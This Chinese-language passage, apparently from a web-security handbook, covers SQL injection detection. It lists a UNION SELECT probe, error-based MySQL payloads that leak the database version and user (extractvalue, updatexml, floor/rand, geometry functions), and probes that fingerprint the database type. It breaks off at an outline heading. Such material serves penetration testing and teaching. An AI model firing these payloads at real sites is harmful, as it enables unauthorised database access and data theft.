4.1.2. 注入检测¶

4.1.2.1. 常见的注入点¶

例如 http://www.foo.com/index.asp?id=12+union+select+nulll,null-- ，不断增加 null 至不返回

select 1/0
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from(select * from(select user())a)b))
multipoint((select * from(select * from(select user())a)b))
multilinestring((select * from(select * from(select user())a)b))
LINESTRING((select * from(select * from(select user())a)b))
multipolygon((select * from(select * from(select user())a)b))
ST_LatFromGeoHash((select * from(select * from(select user())a)b))
GTID_SUBSET(version(), 1)

判断数据库类型
- and exists (select * from msysobjects ) > 0 access数据库
- and exists (select * from sysobjects ) > 0 SQLServer数据库
判断数据库表
- and exsits (select * from admin)
版本、主机名、用户名、库名
表和字段
- 确定字段数
  
  Order By
  
  Select Into
- 表名、列名